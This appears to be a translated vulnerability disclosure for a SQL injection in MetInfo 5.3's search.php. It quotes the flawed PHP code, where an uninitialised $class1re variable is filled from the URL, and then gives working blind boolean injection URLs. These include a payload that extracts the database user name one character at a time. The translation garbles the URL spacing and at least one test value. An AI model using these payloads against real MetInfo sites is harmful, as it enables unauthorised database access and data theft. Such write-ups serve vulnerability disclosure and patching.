MetInfo5.3 latest SQL Injection Vulnerability

MetInfo5.3 latest SQL Injection Vulnerability

MetInfo5.3 latest SQL Injection

Search. php:

$module=intval($module);    if($class1)$module=0;    if(intval($module)){      $serch_sql.=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' "; }else{ $class1_info=$class_list[$class1]; if(!$class1_info)okinfo('../',$pagelang[noid]); $class1sql=" class1='$class1' "; $class2sql=" class2='$class2' "; $class3sql=" class3='$class3' ";  if($class1&&!$class2&&!$class3){  foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){   if($val['releclass']==$class1){    $class1re.=" or class1='$val[id]' ";   }  }  if($class1re){   $class1sql='('.$class1sql.$class1re.')';  } } if($class_list[$class2]['releclass']){  $class1sql=" class1='$class2' ";  $class2sql=" class2='$class3' ";  $class3sql=""; } $serch_sql=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' and $class1sql ";

Because $ class1re is not initialized

foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){   if($val['releclass']==$class1){    $class1re.=" or class1='$val[id]' ";   }  }

This logic can be: Send url: http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 1 & searchword = 1 & lang = cn & class1re = xxxxxx: select count (*) FROM met_news where lang = 'cn' and (recycle = '0' or recycle = '-1') and displaytype = '1' and (class1 = '2' xxxxxx) and title like '% 100' and then construct http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and 1 = 1 -- the sd page is:

Http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and 1 = 2 -- sd

Payload: http: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and if (ascii (substr (user (), 1, 1 )) = $ NUM,) -- sd adds $ NUM Based on page changes to guess the sensitive information. Because I am using roothttp: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and if (ascii (substr (user (), 1, 1 )) = 114,1, 0) -- The sd page does not contain xxxxxxhttp: // localhost/MetInfo5.3/search. php? Class1 = 2 & class2 = & class3 = & searchtype = 2 & searchword = xxxxxx & lang = cn & class1re =) and if (ascii (substr (user (), 1, 1 )) = 1141,1, 0) -- The sd page contains xxxxx